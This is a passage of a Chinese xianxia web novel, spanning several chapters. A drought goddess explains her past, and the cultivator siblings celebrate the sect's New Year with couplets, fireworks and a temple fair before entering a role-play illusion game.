于是童柔意点点头,点着点着忽然脑袋一落,整个人死寂了一瞬。在众人警惕地注视下,她抬起头来,青绿的双眸是异人的光彩,依旧还是那张脸,这会是面无表情,但俨然是另一个灵魂的神态。 明易先试探道:“阁下是……天神女魃?” “童柔意”抱起胸来,微微抬了下巴:“正是。” 明易:“其实……” 女魃:“不必废话自荐,我不在意你们是谁。” 明易:? 其实他是想让她趁着还能控制童柔意身体的时候赶紧解释一下。 石映心奇怪道:“你跟着我们这么久,还不知道我们是谁吗?说实话,这记性有些……” “石映心!”女魃瞪她,大声起来,“我知道你是石映心!” 石映心:“哦。” “我也知道你们想问什么,”她似乎很容易恼火,这会怒火已经烧融了她原先冷冰冰的面无表情,“只是说来话长,我作甚要浪费这么多口舌给你们一个交代?” 石映心:“你不说我就杀了你。” 女魃:…… “我们是名门正派,喊打喊杀不好,”明易替师妹缓和气氛道,“不过请阁下回归壹派,在戒律堂里聊天喝茶一段时日还是合适的。” 翻译:囚禁。 女魃:………… 她表情扭曲了一瞬,定格在屈辱的表情,“砰”地一捶桌子,咬牙切齿道:“若不是我如今虎落平阳被犬欺,你们这些黄口小儿哪里敢这么和我说话,甚至还要遭你们的恐吓威胁!” 曾换月对这个脾气不好但自称天神的女魃有些一言难尽的感觉:“你既然认清了局势,还不快些解释清楚?先不说我们时间宝贵,等会你撑不住又回到童柔意体内了怎么办?” 女魃瞥她一眼,瞧着很不情愿,但大概真是势不得已,她只好开口:“说来话长……” 顾梦真:“劳烦长话短说哈。” 深呼一口气:“……想当年,我贵为天之神女,大荒之中无所不能。那会凡间纷乱,姬水人同九黎大战,屡战蚩尤不胜,姬有熊遂来请我下凡;我见她大义凛然、面有帝王之相,便答应了她。虽曾经听闻蚩尤战神之名,但没想到我还是小瞧了她。” “这人请来风伯雨师,又用自身神力壮大风雨,天上天下一塌糊涂。她率领的部落英勇神武,即使在狂风暴雨中也砥砺前行、锐不可当,局势几乎是一边倒。我既受命,便要说到做到,几乎是倾尽神力将风雨驱逐,又干旱大地,让九黎人猝不及防;姬水人便趁机进攻……” “总而言之,”说到这,她下巴微抬,神情倨傲道,“那场全靠我。” 大伙很给面子地啪啪啪鼓起掌来:“厉害厉害。然后呢?” 然后?然后女魃的脸色就急转直下了:“之后我就散尽神力,回不去了,又因我生性属火,所到之处一片干旱,原先还有神力能克制本性,但方才也说了,大战中我的神力已然耗尽……虽说姬有熊依旧待我不错,但她忙着处理东夷事宜,带着我这个旱神,旁人怎会服她?” “我只好离开,四处寻找恢复神力的办法,可惜所到之处,都受到民众恭敬的驱逐……几经辗转,我也不愿危害民间,实属无奈,只好将自己埋入大地之中,日复一日地吸取微弱的天地灵气,像那些猫狗花草等待成精一般,天荒地老地盼着神力恢复的那一日……” “至于那些旱魃,则是我神性外泄的产物,确实不人不鬼,更不像神。但只有将我的神性分散为这些怪物,才不至于让大地再历干旱。” 她说到这叹了口气,自嘲道:“这是无奈之举,没想到成了你们喊打喊杀、避之不及的怪物……这些旱魃虽并非我本体,但因我而生,我如何能无动于衷?昔日我以火驱风雨,众人敬佩;如今时过境迁,谁还记得我的辉煌?只认得可笑的旱魃罢了!” 这一段故事真是闻者伤心,听者落泪啊。 一位天神若要失落,似乎是声势浩大的灭亡最好;像这样不死不活、受尽屈辱的缓慢凌迟,不能衬托她们出凡的身份、受人敬佩的神格。 但这样顽固求生的意志怎么不是另一种伟大呢? 本是对女魃没有多少好印象的曾换月,这会敬佩又同情地望着她:“没想到你这么不容易……几千年缩在蛋里,换我我是受不住的。” “什么蛋?”女魃眉头一皱,“那是我的神茧。” “差不多啦。” “天壤之别!” 好了,不要争这个了。明易继续问:“既然如此,你夺舍童柔意的目的是?” “不算夺舍。”女魃还在纠正,“我只是借她身子一用罢了。几千年过去,我好不容易修得青烟之身,又凑巧被你们从地下挖出来……自然不想再回去苦苦收集天地灵气。干脆就入童柔意之身,借她日后的人帝之灵恢复元气,这不快多了?不过要用人帝之灵,还需借偷天神阵将我与这凡人结合……” 姬漓恍然:“原来你是这个目的!” 女魃理所当然道:“不然呢,你当我随便找的人?” 顾梦真摸摸下巴:“确实是个好办法,不过既然你只是为了人帝之灵,找童嘉文也行吧?” 没想到女魃古怪地瞅他:“他一个男人怎配称帝?” 众人:…… 差点忘了这姐来自什么时候。 “我知道你们的意思,”女魃抱着胸,冷哼一声,“现下的人间是怎么回事,童柔意都和我说了,简直是倒反天罡!我散尽神力替姬有熊打下的天下,竟沦落到那些且氏族的后代手中,太可笑了!不过既然我回来了,就勉为其难地接手这拨乱反正一事吧,于我不过也小事一桩。” 大伙见她雄心勃勃、气势很足啊,便拍拍手表示支持:“太棒了太好了,你一定可以的。” 其实她们对这个脾气古怪的天神都有些好奇,七嘴八舌地都想问些什么,却见她忽然眉心一皱,神色恍惚了一瞬,似乎是要回到童柔意体内了。 她最后听到的是石映心的问题:“你受了这么多苦,这几千年来可曾后悔当初下凡来帮姬有熊?” “后悔?”她抬眼来看镜灵,露出一个冷酷的嗤笑,“后悔是你等凡人才会做的事,我的眼中只能看到死灰复燃的火焰,卷土重来的荣耀!几千年的等待算什么?只要……” 她头一垂,再抬起来时面色有些恍然,是公主的神情。 大伙很快回过神来,又七嘴八舌地告诉她其实她体内的真是一个天神而并非妖怪一事。不过童柔意听后也没有多少惊喜,仿佛是什么不重要。也对,毕竟不管是妖是神,她已经不是单纯的凡人了。 曾换月感慨道:“但是你竟然先前以为她是妖怪的时候就敢和她做交易,情愿让她夺舍自己……你没想过后果吗?” 后果? 童柔意看向石映心,扬起一个平静的微笑:“石仙人说得不错,若是一个凡人在没有太阳的地方想活下去,那就只能变成妖怪……我当然不想死,那就只好变成妖怪了。只要我还活着,我认得我……这便够了。” 石映心闻言,若有所思……的模样,其实是压根忘记自己什么时候说过这句话了。 不过此情此景,自然是保持意味深长的沉默最好。 第116章 总而言之,言而总之,事已至此。 这乱七八糟的一切虽然在种种意外的影响下与她们最开始的设想大相径庭,但好在都稳妥地尘埃落定了。 公主变成“妖怪”杀死了皇子,细细想来也不算坏事,也许在天神女魃的帮助下,童柔意能学会如何更好地做一个帝王。 就像她离开天机阁回宫前表现出的决心:“先前我还担忧无法处理朝政上那些余党走狗,不过如今我明白了,只要把守规矩的人都杀了,规矩就不复存在。多谢石仙人的教诲。” 石仙人:“……嗯。” 不是,这话也是她说的吗?童柔意记性真好。 但要不还是别感谢了吧……石映心感受到大师兄盯来的视线,总觉得这童柔意的话很有些“多亏了你坚定了我杀兄的决心”这样的嫌疑……别这样,她在大师兄面前很难做人的。 不过话说回来,有了女魃神力,想来她处理那些凡人很得心应手了,一人一神也算是各取所需、相互成就,恭喜恭喜。 告别人间新帝之后,她们又去看望了姬滢。 要说这碗乱粥中最冤的,舍她其谁?好端端的被师兄背刺,伤心的事先不说,十几年的修为就这么被换走,归壹派几人非常感同身受,设身处地地一想要是换成自己的话……真要吐血了。 好在有妙望阁主和她师父的帮忙,大概是用了什么神秘的阵法将她体内置换来的修为功法变成了她原先学的那一套,虽说还是少了许多,但总比体内完全是自己不熟悉的功法要好。 如此也能看出,确实是女弟子对天机阁功法的适应性更强。 她们见到姬滢的时候,对方正坐在床上看书,姬漓带着几人走进去,一见妹妹就说:“难得有趁病休息的机会,还看书做什么?” 姬滢把书面立起来:“这是换月借我看的话本。” “嘿嘿。”曾换月说,“转换一下心情嘛!” 姬漓:“这倒也是。” 黎为夏关心地问:“姬滢,你好多了吗?” “好多了。”姬滢点点头,脸色虽依旧有些苍白,但神色还挺恬静的,看不出什么难过伤心,“不过明日不方便为你们送行了。” 大家说没事没事啦,这有什么嘛,你好好休息最重要。 姬漓坐到妹妹旁边,冷哼一声道:“周赫和徐舟已经走了。” 姬滢颔首,又道:“姐姐你也不必生气了。” “他们把你害成这样我怎么不生气?” “周赫吸收了我的修为,经脉不堪重负而裂,此后与修道一事再无缘分,只是一介凡人了。以他的性子,这样的后果比死去还要难受。”姬滢淡定道,“徐舟知情不报,算是半个帮手,也被逐出了师门……他们二人已是自食其果,我现下也无大碍,失去的修为再修炼回来便是了。这事就这么过去吧。” 大伙没想到她看得还挺开啊。 姬漓吐槽道:“你就是这样不争不抢的,他们才把算盘打到了你头上!” 姬滢摇摇头道:“我无意提防这些,就当命中有此劫好了。如今我修为退到金丹,正好让我换个方向、研究新的功法,也许会另有所获。” 曾换月好奇道:“啊,你要转专业啦。” “不完全算。”姬滢解 释道,“不过我去了画阵中一趟后,对古阵法颇感兴趣,凑巧藏书阁中有些相关的记载,我打算好好琢磨一番。” 顾梦真笑道:“我觉得行,塞翁失马焉知非福!” 姬漓一听也有道理,拍拍妹妹肩膀道:“不管如何姐都支持你,你高兴就好。” “嗯。” 石映心喜欢姬滢的想法,说是乐观,更像是豁达。她也不是不在意,只是很顺其自然地接受了一切。这样的性情其实是一种羡慕不来的天赋,让石映心想到了画阵中短暂相遇过的常曦。 难道和月亮连接深刻的人都这样吗?照她们的时候仿佛照见的是十五十六的大圆盘,醒目又安静地挂在夜空,闪耀着不刺眼的光芒,充沛而谦和的明亮能盛满你的眼睛……这便是月光。 她们和黎为夏是在天机阁驿站门口分别的,前头提到过,这驿站建在大街中央,实在是太热闹了,平均五句话就有一句会淹没在嘈杂的人声中。 对黎为夏来说,来这一趟虽然有些莫名其妙,但还蛮好玩的,见识到了许多新奇的世事。如今临近分别,她还有些不舍呢:“几位道友,认识你们真高兴,有机会一定要来我们琼华宫做客啊!” 大家说肯定肯定。 她手上提着好多姬漓准备的特产,不过好在她力气大,还能举起一大堆东西来朝她们挥挥手:“那再会了!” “再会!” 再会了,天机阁。 * 回门派过年喽。 慕雲本来还担心她们赶不及回来过年,这会见她们提着大包小包回来了,心中很满意,甚至不太想问“有没有在外面闯祸”这样的问题,见徒儿们兴致勃勃却掩盖不住精疲力尽的模样,还是决定让她们好好休息几日。 毕竟真有祸那也已经闯了,问也改变不了什么,等过了年在复盘吧。 徒儿们又带回来这么多天机洲的特产,这几个随手一扔就跑了,她还得忙着分批整理出来,给她们师公师叔送一份去,正巧当做过年送礼的礼物。 不只是她忙,临近年关,这个归壹派都挺忙的。 那些什么春联的要贴起来,灯笼要挂起来,每座山头每个洞府都不能放过,总之要一眼望去每个角落都得是红的,喜庆! 她们归壹派的传统就是春联喜字啥的要让长辈写,这个时候那些字写得好的师叔师公师祖就老忙了;尤其是掌门天元,每逢这时候,天和峰上都是人头攒动,大殿前的院里,队伍的长龙九曲十八弯。 天元仙尊每日两眼一睁就是写,想用仙法作弊也不行,毕竟弟子们就站在前边盯着呢,人人都说要“纯手工无法术添加”的字,如此才能表现出掌门的真心祝福。 他都这么辛苦了,还有人拿他做生意! 比如这会他第五次瞧见顾梦真到了桌前,忍不住道:“臭小子,你到底还要排几回!” 顾梦真抱着朱笺纸可怜兮兮道:“师公,我好多钱拿去买天机洲特产了,总得挣点回来吧?您觉得昨晚的羊肉面好吃不?” 天元:…… 咬牙把他准备的朱笺纸拿来写,没好气道:“最后一次!” 顾梦真:嘻嘻。 天元:“一人一次最多写五副,你排了五回,想来倒卖也挣了不少,今年你的压岁钱我就不给了。” 顾梦真:不嘻嘻。 算了算了,这边缺了那边补呗,他拿着五副对联冲出殿门就开始大喊:“价高者得!先到先选!” 立刻就有没耐心排队的弟子吆喝起来“我要我要”“我出二十灵石”“我出三十”“五十五十”……真是热闹的年啊。 天元摇头无奈苦笑。 一般是以一个师门为单位来准备年货和年夜饭,大家就想一些爱吃的东西,什么腊肉瓜果糕点啊,然后汇集成一份清单,让最会讲价的二师兄和第二会讲价的小师妹下山采买。 买来食材后,明易则负责掌厨,至于为什么这活会轮到他头上,原因很简单: 只是因为他不乱来,也不会异想天开,加盐加糖的都比较严谨,有这样做饭的态度,最差也就是口味一般的程度,经常还会开出惊喜菜肴……其他几个师弟妹就不提了哈,大过年的给点面子。 石映心呢,就负责最基础但也最需要耐心的工作:大扫除。 过年的大扫除和平时的使澄净诀可不一样,反正根据传统是要亲手来的,澄净诀起到一个最后查漏补缺的作用。但多数人适应了施诀的方便,自己上手还是有些不耐的。 石映心倒是意外地很适合做这种枯燥的活计,也许对她来说从擦桌子换到擦椅子就算新鲜了。她干这活其他人也很安心,左右折腾不了什么;就偶尔来看她一下,给她带点方便拿在手上吃的甜甜果、糖葫芦什么的,她就能自得其乐地一边吃一边干活。 小师妹体恤她怕她无聊,从顾梦真那里翻出来一个他做了之后就从没用上过的玩意:一个能复制别人歌声的大嘴花。曾换月往里头录了几首歌进去,说是陪着师姐给她解闷。 石映心也觉得这玩意新鲜,打扫到哪带到哪,最后大嘴花唱没灵力了,她就一时忘了这玩意,打扫好就回去休息了。 结果到了晚上,刚陷入梦乡的慕雲猛地被一声巨大的“恭喜你发财”给吓得从床上跳了起来。余惊未消地顺着声儿找去,在隔壁书房的窗台下发现了罪魁祸首,原来是这大嘴花汲取了月光灵力,大晚上的又恢复了元气。 慕雲掐着花枝气笑了。 简直不知道该骂谁,是做这神经玩意的二徒弟,还是出这主意的小徒弟,亦或是忘了这东西的三徒弟呢? 都不无辜哈。 话说到慕雲,她这几日则是在准备归壹派过年最重要的一个环节:祭祖。 归壹派的祭祖主要是三个流程。先是所有人一起在外门定山广场上拜开山祖师和各位先祖;接着回到各自师门中祭祖,比如慕雲就要带着徒弟们去天元那,天元和天虚师出同门,所以陈久陶远他们也会来。 由于归壹派比较特殊的师承关系,每个师叔也像第二个师父,所以这个环节大伙凑在一起还蛮热闹的,这时候吃年夜大饭。 最后就是师父带着亲传弟子回山头守岁,然后吃年夜小饭,一起等到天明迎接新年。 第117章 以上便是归壹派大概的过年流程。 迎来新年之后,还有七日的年假,这时候就看众弟子们整的花活了:办庙会集市,看表演,什么舞狮戏曲,凡间的玩意都有;自然还有不凡的,比如斗法呀、玩弟子们搭建的娱乐阵法秘境…… 总之就是五花八门,各显神通。 往常曾换月也会嚷嚷着要拉着师姐师兄安排节目,但今年特殊,她们刚从外头忙完任务回来,确实没时间筹备,只好到时候玩别人的了。 除夕当日。 今日是个好日子,艳阳高照驱散了不少山上的寒气;出门一望,青冷的山峰院子大殿处处点缀着喜庆耀眼的红,地面上的铺着金灿灿的浮光,一扫而去冬日清晨的孤寂。 石映心哈了口气,看到空中飘出了白气,心满意足地笑了笑;转身将门关上,后撤几步又看了看昨晚二师兄来贴上的春联和喜 字,虽然她看不懂掌门师公的大师手笔,但瞧着挺不错的。 【年年顺景修为盛,岁岁平安福寿多】 【吉星高照】 吉星是什么星呢?石映心琢磨着,如果是什么星辰的话,像是天机阁会用的横批,难道她们归壹派也有崇拜的天象吗?那她们的星星和天机阁的星星是同样的星星吗? 想不明白,去问问师兄他们好了。 “是福禄寿三星。”大师兄说,“民间俗话‘三星高照,新年来到’,是说每到春节时这三星就会高挂南天,距离很近地连成一条直线。又因为百姓们都想讨个好彩头,就把在这时候出现的三星称作福禄寿。” 曾换月合理推测道:“那这个说法应是老早以前就有了,现在凡人都是直接侍奉神仙的,祭祀星星是常曦那时候的习惯吧?” 顾梦真若有所思:“嘶,这么说,如今天上的福禄寿神仙,是后世才诞生来匹配星星的?也是,神仙许多都是后来封的。” 石映心明白了:“先有萝卜坑再往里面塞萝卜。” 大家都笑了。 “嘻嘻哈哈的说什么呢?”慕雲不知何时走来了,朝热闹的定山广场抬了抬下巴,“杵在门口做什么,还不赶紧进去排着?” 石映心说:“师父,我们在讨论天象学问。” 慕雲呵地一笑:“是在讨论晚上要吃什么吧?想吃萝卜啊?” 石映心:OO? 和你解释不清了师父。 慕雲把四个憋笑的徒弟赶进定山广场排队,自己飞去长老席。 往常归壹派的弟子们聚集在定山广场时都没什么兴致,个个都是一脸无聊,就想着掌门和各位长老赶紧走完流程;这不今时不同往日嘛,广场上叽叽喳喳的热闹非常,弟子们凑在一起嘻嘻哈哈的,面上喜气洋洋。 “新的一年我要破境入元婴!” “我打算多接点任务,下山四处游历一番。” “前两日收拾屋子的时候感觉有些破烂啊,明年我要把洞府修缮一番……” “山上太冷了,过完年我要往南去避寒。” …… 石映心每年这时候都觉得有些神奇:世上这么多人,竟然能同时为一件事而感到高兴;可过年只是过节,也不是什么能获取实际好处的事,神奇的是人人都觉得“新年新气象”,新气象会带来好事,而这仅是心中的期盼和祈祷罢了。 仅是这样便支撑起了一个如此盛大的节日吗? 石映心在人群中抬起头,看见这世间的太阳,忽然觉得任何时候的人们都没什么不同。 大家需要春节,就像需要太阳,需要月亮。 宗门祭祖大殿隆重又简单,弟子们主要是看长老们在台上主持、烧香,然后一起跪下叩拜先祖们的排位,喊喊口号啥的;接下来是天元仙尊发表新年祝福,他必然要说得长一些,如此也显得郑重,其余长老便象征性地说两句。 最后由陶远启动精心筹备的烟花阵法,空中咻咻咻砰砰砰地炸开许多白日也清晰可见的绚丽花火:除了即将到来的蛇年蛇形烟花外,还有其他生肖,八大洲的图腾,象征天上人间地府的简画……等等,首先是这些正经的。 放完正经的,接着就是弟子们的投稿,什么宝剑炼丹炉灵宠,小笼包大鸡腿糖葫芦,金山银山灵石山……五花八门,乱七八糟,弟子们一边散场一边看。 曾换月拉着师姐师兄不让她们走:“等等嘛,等等就放到我的投稿了!” 顾梦真打了个哈欠:“你画了什么啊?” “等会你就知道了!” “真的会放你的?” “会的!”曾换月斩钉截铁道,“我可是千叮咛万嘱咐陶远师叔了!” 慕雲走来正好听到这话,无语一笑:“新的一年少折腾你们师叔师公吧,当然,最重要的是让为师省心。” “可我们还年轻啊,”曾换月欠揍一笑,“等到了师父你这年岁就不折腾了。” 那还要等多久呢? 慕雲:“……大过年的别逼为师骂你。” 曾换月:“嘻嘻。” 顾梦真:“到底还要等多久嘛?” “你着什么急啊,最惊喜的当然是要压轴出场!” 这会定山广场上的人都走得差不多了,天上的烟花也放到了让人匪夷所思的图案,什么锅碗瓢盆苍蝇蚊子的都出来了,看得出来陶远师叔为凑够时长有些不择手段。 甚至看到一封因为做年夜饭把厨房炸了然后和师父道歉的公开处刑信。 慕雲有些感同身受地叹了口气。 接连不断的咻咻砰砰声忽地一静。 五人随之陷入等待的沉默,在“不会就这样结束了吧”的忐忑之中,又听到一声腾飞的咻—— 随之抬头望去,就见空中出现了五个挨着的简笔画小人,虽说都是如出一辙的圆脸蛋豆豆眼,但可以从装扮和神似的笑容神态中辨认出她们的身份,这自然是她们师徒五人了。 石映心认出来了:“这是换月画的。”她经常会在自己写的话本中插画,都是这些可爱的小人。 慕雲颔首道:“画得不错嘛。” 明易也表示:“都很像。” 顾梦真指着天上说:“像是像,不过我觉得我可以再帅一点。奇怪,明明我和大师兄的眼睛鼻子嘴巴都差不多啊,怎么总觉得他的更帅?” 曾换月抱胸得意道:“哼哼,这画看得简单,实际还是很考验画技的!若是把你画得比大师兄帅,那不是两个人都不像本人了?” 顾梦真:……啧,好有道理哦。 “不白等吧?” 大家说不白等不白等。 朝曦下的烟花消融在日光之中,一同照临着清静的定山广场,辞旧迎新的热闹才刚刚开始。 天和峰,掌门殿,大伙给长辈拜年来了。 “祝天元师公、天虚师公新春吉庆、岁岁安康!” “祝两位师公万事顺意,新年胜旧年!” “祝师父师叔修为步步高升,吉祥如意!” …… 晴雯和莫默等人在前边贺喜,石映心因为方才回了洞府一趟所以来晚了,这会排在最后一个,手上拿着回去取来的小本本,听到一句就划去一句,一张纸上满满当当的划痕。 她二师兄吐槽:“你这样还不如随便背一句然后来早些,就不怕和别人撞了。” 石映心拿着小本本的手一顿,清白的脸上出现了一丝阴霾。 说完吉祥话,拿了压岁钱的曾换月凑过来看一眼:“师姐你都要划光了。” 石映心:“……嗯。” 慕雲摇摇头道,“映心怎么在这些事上这么不机灵呢?不过说准备嘛也是准备到位了,还挺有心哈。” 石映心:“……嗯。” 最后还是大师兄提议道:“不如你就说最早划去的一句,也许师叔师公他们都不记得了,这些吉祥话说来说去都差不多。” 慕雲又挥挥手说:“随便说也行啦,心意到就行,又不是考试,你师公他们也不在意这些。” 石映心点点头:“好。” 说得不错,长辈们也就听个喜庆,深知这个环节最重要的是送压岁钱,顺便逗逗小辈,比如: “映心,你这句贺词我好似听过了啊?” 石映心挠头。 “又长大一岁,今年不能闯祸了。” 石映心点头。 “今年有没有信心破境入化神期啊?” 石映心摇头。 这就有点过分了哈。 之后又去拜了师公的师父,师公师父的师父……等等先祖,然后就到了万众期待的环节:坐下来一起吃饭。 这是真吃饭,不是看着吃饭其实是在交流感情;事实是看着在交流感情其实都在吃饭。毕竟年夜饭还是几位长辈下了血本去筹备的,必须搞些排场,就让膳堂做了不少平日难吃到的大鱼大肉大虾大果子。 吃的时候天元还要时不时招呼一下:“剩点,记得每道菜剩点,这叫年年有余!” 嚼吧嚼吧点点头。 吃完饭后长辈们在屋里说闲话,小辈们 蹲在院子里闲着没事干。 曾换月瞅了眼屋里,提议道:“我们去逛庙会吧!” 晴雯点点头:“这个时间可能还没热闹起来,不过在这待着也是无聊。” 明易本想说不去的,谁知道莫默挤兑他:“不是吧不是吧明易,你不是要回去练剑吧?别练了大过年的,就当是为了让我心里舒服点~” 明易把他撇开:“谁管你。” 莫默指了指边上的几个:“不管我可以,你也得管管你师弟师妹吧?” 蹲在地上玩蚂蚁的曾换月不满地抬起头:“什么意思啊莫师兄?” 顾梦真也白他:“我还怕你惹事呢!” “哎呀,我只是想劝劝你们大师兄嘛。”莫默厚脸皮地嘿嘿道,“不过是话术罢了,别当真……是不是啊映心?” 蹲在地上看小师妹玩蚂蚁的石映心点点头:“一起去吧大师兄。” 大师兄:“好。” 莫默:……好? 这是答应了?不管了,大家一起去吧。 第118章 于是大家就准备御物而去,曾换月跳起来说:“我要去玩密室逃……咳,就是去年的那个娱乐阵法秘境!” 莫默:“什么什么?” 顾梦真:“哦,那个冉冉师姐的阵法秘境是不是?确实挺好玩的。” 莫默:“什么什么什么?” “去了你就知道!” 新春庙会也是归壹派的老传统了,都是弟子们在折腾。大致情况和平日的集会差不多,不过更热闹和更新颖些。比如就会有阵修制造一些简单的娱乐阵法秘境,里头没什么危险,纯属轻松乱玩,付了灵石就能进。 这个项目还挺火热的,一般情况下,曾换月看到这种大排长龙的景况是避而远之的,不过去年来得早,凑巧给她们玩上,这一玩就发现这和密室逃脱剧本杀好像啊,还是身临其境版的。 曾换月:好玩,爱玩! 今日她们吃完饭就来了,冉冉师姐甚至还没准备好呢,正在那布置自己的摊位。见来人了便随意招呼道:“稍等、稍等哈,还要一会呢,你们可以先去别处逛逛。” 曾换月站在那一动不动:“不逛了,我们在这等着,逛会回来就要排队了。是不是啊师姐?” 石映心点点头表示同意,她也不太喜欢排队,队伍中焦躁不耐的情绪太多,可怜的镜灵也会受些影响。 冉冉朝她们笑了笑,倒也没说什么,在几人的关注下继续布置着摊位。她把秘境的阵法画在一张黑色的绒布上,在清扫好的地上铺开,画阵的线条是深灰色,看着不是很明显;整张布也不算很大,一次能站十多人。 晴雯和摊主认识,好奇地问:“冉冉,这次是什么样的秘境?” 冉冉神秘一笑:“我可不能随便透露。” 曾换月张口就来撒娇一套:“冉冉师姐~你就提示一下嘛~我们也算是老顾客了!” 石映心在边上点点头:“去年也来玩了,玩的是打怪解谜积分。”她还拿了第一名呢,得到了一个小纪念品礼物。 “行吧。”冉冉好说话道,“今年和去年可大有不同,我只能提示你们,今年是剧情向的,我参考了很多民间的话本,也算是一次新尝试……你们玩好给个反馈吧,是今年的好玩还是去年的好玩。” 大家说行啊行啊。 没过多久冉冉的摊位便准备好了。这时候石映心等人的后边已经排起了队,附近也围了一些好奇群众。冉冉朗声和所有人宣布道:“娱乐阵法秘境,一次可进6-10人,自行组队哈!” 莫默问过了后边排队的客人,转过头来说:“后面那队也有六人,加起来就超了,既然这样就我们六个进吧。” 大家说好啊好啊。 她们在冉冉的指挥下站到黑布上,就见她在边上掐诀施法,黑布上的阵法很快亮起了灵光,六人眨眼间消失在众目睽睽之下。 * 【欢迎进入《插柳记》娱乐阵法秘境】 【请选择您的人物:随机或是自选。半数及以上随机则全员随机】 【您已选择:随机】 【请稍等——统计中——全员随机】 【人物锁定】 【请谨记您的任务,走向符合人物期望的结局】 【祝您游戏愉快】—— 该阵法秘境一切解释权归冉冉所有—— 石映心睁开眼,发现自己身处一间简单朴素却很整洁的屋子,屋里东西不多,最醒目的是两个占据了两面墙的大柜子:一个上头有许多的小格子,上边贴了标记,写着什么“青黛”“半夏”,估计是药材;还有一个就是装满书的书柜。 她随意看了看书脊,是话本才怪了,都是正经的医书。 石映心记得自己的身份,但秘境并没有详细介绍,只是说她是一个被医女婆婆捡来的孤儿,自小习医;婆婆去世后就一人生活在这人迹罕至的悬崖下,偶尔去隔壁的村靠给村民治病来换些吃的用的。 听着又孤单又穷。 而且她试了试法术,发现不能用了,大概她的人物设定只是个凡人吧。话说换月她们去了哪里呢…… 突然一声:“师姐!” 石映心抬起眼来,左右看了看:“换月?” “师姐!师姐我在这啊!” “在哪?” “你低头嘛!” 石映心便低下头来,看见脚边有一条白色小蛇,这会正努力立着身子朝她摇头摆尾呢:“师姐,你看我是不是一条蛇啊!?” 她师姐默了默,弯腰把蛇捡了起来:“嗯,你怎么变成蛇了?” 曾换月还想问呢,她怎么就变成蛇了! “不知道啊,我当时就选了随机,结果给我随机到一条蛇来了!” 石映心想了想:“好像有一个灵宠的选项。” “是,我应该就是你的灵宠了。”好在“主人”是师姐,曾换月很快接受良好,“不过我可厉害了,我即能毒人又能以毒攻毒地救人!我的毒是世间最厉害的毒,只有我自己能解!” 石映心点点头:“好厉害。你的任务是什么?” 曾换月:“‘主人’的任务就是我的任务,师姐你的任务是什么?” “走向符合人物期望的结局。” “什么结局?” 石映心愣了愣:“不知道。” 曾换月:? 她一时不知道师姐是看漏了还是秘境没告知,总而言之事已至此,她也没办法,先这么着吧。 了解了师姐的人设背景后,博览群话本的曾换月信心满满地扬起脑袋:“放心吧师姐,我大概心里都有数了,你听我的就行!” 石映心还是很信任师妹的:“嗯。” “师姐我们出去逛逛,待在屋里触发不了任务。” “好。”她把师妹蛇放在肩膀上,心说好在不是什么猫啊狗的,带着也很方便呢。 走出屋门,见到外头生机勃勃的院子,除了中间有条供人走的小路外,两边几乎是种满了花草树木,许多石映心都不认识,考虑到此人物的身份,应是一些草药?花花绿绿的是挺好看,招惹来了一些蝴蝶蜜蜂蜻蜓。 感觉这个秘境准备得很充分啊……但希望用不上吧。石映心这么想。 走出院子仰头看去,她的小屋子搭在悬崖之下,峭壁把蓝天白云分成两半,参差不齐的石块像是点缀。石映心忽然理解了黎为夏看见天机阁楼阁想爬的心情,这峭壁看得让人很想用轻功飞一飞。 可惜这会她只是凡人。 又左右望了望,这里人迹罕至,只有她家这一间隐蔽的小屋子,前边就是树林,边上有一条小河从里头延伸出来,远远就能看见鱼儿戏水的水花,鸟儿停驻在河岸喝水。 有山有水有树林还有一院子的草药,最重要的是有一只陪着说话的灵宠,还能解闷呢,如此看这个小医女的日子过得很清闲自在嘛。 曾换月说:“师姐,我们得去有人的地方,穿过林子去村里看看吧?” 石映心说好。 她们便走进林子里去,打算顺着林间小道走出去,但没走多久,小白蛇忽然说:“师姐师姐,我嗅到了血的味道!好像是人血!” 石映心嗅了嗅鼻子,什么都没闻到:“连人血你都闻得出来,看来小蛇比我厉害。” 曾换月对自己的定位很清晰:“毕竟我是灵宠嘛,在话本故事里就是女主的工具蛇啦,除了卖萌之外还得有傍身的技能!” “原来如此。” “师姐,看来这就是我们要触发的任务了,走,去看看血腥味的源头在哪!” 石映心说好。 于是顺着血腥味走去,扒拉开茂密的灌木丛,果然看到一个人影倒在河边,看背影和穿着是个男子。 石映心一边走过去一边听师妹嘀咕:“真是经典的捡人情节啊……一般来说,捡了这人之后会后患无穷,人生从此走向悲剧……” 她师姐听了脚步一顿:“是吗?可我想我期望的结局应该不是悲剧。” “也不是说悲剧啦,而是要历经千辛万苦之后才能修得圆满……” “什么圆满?” “这个这个,”曾换月想了想,“额,和相爱的人白头偕老?” 石映心疑惑道:“我没有相爱的人。” 小白蛇的头往前边点了点:“喏,前面 那个就是,秘境送的。你救了他之后他就会爱上你,然后你也会在相处中喜欢上他……虽然老套但不出意外这就是故事的发展。” “就因为我救了他就爱上我了吗?” “是啊是啊。” 石映心不满意地摇摇头:“太轻浮了,我们走吧。” 曾换月:? 躺在那等待救援的男人:…… 虽然按照剧情他应该继续装死,但真怕某人就这么走了,这会都听到离开的脚步声了呢,便连忙咳了两声。 曾换月:“是大师兄!” 石映心也听出来了,转身又走了回去,把倒在那里的人扒拉过来一看,咦,还真是大师兄。她摇了摇对方:“大师兄,你醒醒。” 曾换月:“师姐你看大师兄流了好多血,肯定是要你先把他扛回去然后止血然后悉心照料个三天三夜他才会醒来的。” 明易:没错,是这样。 石映心:“这么麻烦吗?” “是啊是啊。” 她叹了口气,换做是别人可能真转身就走了,但毕竟这是大师兄……于是想把他扛起来,但这会只是凡人的她力气小了许多,光是把人撑起来就废了好大的劲,扛在肩膀上走两步就气喘如牛。 对石映心来说这也是很新奇的体验了。 实在没力气,走了两步她就顺着一棵树瘫了下来,已经没有任何动力了:“扛不动。” 曾换月:“师姐加油,这是对女主善良坚毅美好品性的考验啊!” 石映心摇摇头:“那看来我没有了。” 第119章 “师姐你明明是觉得这里只是阵法秘境才不愿意费劲的吧!” 石映心没说话,只靠着树休息。 “好吧。”小师妹无奈地说,“那你把大师兄拖回去好了,这样应该会轻松许多……反正都是假的。” 明易:? “大师兄不会生气吧……”石映心嘴上这么担忧着,其实人已经站起来,拖着明易的胳膊拖了几步了,“是轻松许多。” 小师妹:“不会啦,都是假的,大师兄也知道。” 石映心又拖了几步:“说的也是。” “记得拖一会换条胳膊哦,不然可能要脱臼的。” “嗯。” 明易:…… 